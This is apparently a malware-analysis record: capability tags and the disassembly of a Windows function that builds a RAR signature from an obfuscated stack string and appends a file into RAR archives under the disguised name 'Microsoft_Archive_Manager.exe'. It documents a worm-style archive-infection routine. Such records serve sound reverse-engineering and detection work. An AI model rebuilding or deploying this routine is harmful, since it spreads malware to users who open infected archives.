Function at 0x402655
Capabilities:
Contain obfuscated stackstrings
Get file size
Read file via mapping
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe0
push ebx
xor ebx, ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
mov esi, 0x80
push esi
push 3
push ebx
push 1
push 0x80000000
push 0x406260
mov byte [ebp - 0x2c], 0x52
mov byte [ebp - 0x2b], 0x61
mov byte [ebp - 0x2a], 0x72
mov byte [ebp - 0x29], 0x21
mov byte [ebp - 0x28], 0x1a
mov byte [ebp - 0x27], 7
mov byte [ebp - 0x26], bl
mov byte [ebp - 0x25], 0xcf
mov byte [ebp - 0x24], 0x90
mov byte [ebp - 0x23], 0x73
mov byte [ebp - 0x22], bl
mov byte [ebp - 0x21], bl
mov byte [ebp - 0x20], 0xd
mov byte [ebp - 0x1f], bl
mov byte [ebp - 0x1e], bl
mov byte [ebp - 0x1d], bl
mov byte [ebp - 0x1c], bl
mov byte [ebp - 0x1b], bl
mov byte [ebp - 0x1a], bl
mov byte [ebp - 0x19], bl
mov byte [ebp - 0x18], 0xc4
mov byte [ebp - 0x17], 0x3d
mov byte [ebp - 0x16], 0x7b
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0x40
mov byte [ebp - 0x13], 7
mov byte [ebp - 0x12], bl
call edi
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
jne 0x4026f0
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x34], eax
cmp eax, 0xffffffff
jne 0x40270b
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4026e9
push ebx
push esi
push 3
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call edi
mov dword [ebp - 8], eax
push ebx
cmp eax, 0xffffffff
jne 0x402751
push esi
push 1
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call edi
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x402700
push ebx
lea ecx, [ebp - 0xc]
push ecx
push 0x14
lea ecx, [ebp - 0x2c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x402781
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
jne 0x402772
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 8]
call esi
jmp 0x4026e9
push ebx
push ebx
add eax, 0xfffffff9
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
push ebx
push ebx
push 2
push ebx
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x58], eax
cmp eax, ebx
je 0x40275d
push ebx
push ebx
push ebx
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x30], eax
cmp eax, ebx
jne 0x4027c6
push dword [ebp - 0x58]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
push dword [ebp - 8]
call esi
mov eax, ebx
jmp 0x4026eb
push 8
pop ecx
xor eax, eax
lea edi, [ebp - 0x54]
rep stosd dword es:[edi], eax
mov edi, dword [ebp - 0x34]
push edi
push dword [ebp - 0x30]
mov byte [ebp - 0x52], 0x74
call fcn.004025b7
pop ecx
pop ecx
mov dword [ebp - 0x44], eax
mov eax, 0x8000
push str.Microsoft_Archive_Manager.exe
mov word [ebp - 0x51], ax
mov byte [ebp - 0x3b], 0x30
mov byte [ebp - 0x3c], 0x14
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x49], edi
mov dword [ebp - 0x4d], edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov word [ebp - 0x3a], ax
mov eax, dword [ebp - 0x3a]
add eax, 0x20
push esi
mov word [ebp - 0x4f], ax
lea eax, [ebp - 0xdc]
push ebx
push eax
call sub.MSVCRT.dll_memset
push 8
pop ecx
lea esi, [ebp - 0x54]
lea edi, [ebp - 0xdc]
rep movsd dword es:[edi], dword [esi]
movzx esi, word [ebp - 0x3a]
push esi
mov edi, str.Microsoft_Archive_Manager.exe
lea eax, [ebp - 0xbc]
push edi
push eax
call sub.MSVCRT.dll_memcpy
add esi, 0x1e
lea eax, [ebp - 0xda]
push esi
push eax
call fcn.004025b7
add esp, 0x20
mov word [ebp - 0x54], ax
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
lea eax, [ebp - 0xc]
push eax
push 0x20
lea eax, [ebp - 0x54]
push eax
push dword [ebp - 8]
call esi
push ebx
lea eax, [ebp - 0xc]
push eax
movzx eax, word [ebp - 0x3a]
push eax
push edi
push dword [ebp - 8]
call esi
push ebx
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x34]
push dword [ebp - 0x30]
push dword [ebp - 8]
call esi
push ebx
lea eax, [ebp - 0xc]
push eax
push 7
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 8]
call esi
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
xor ebx, ebx
inc ebx
jmp 0x4027aa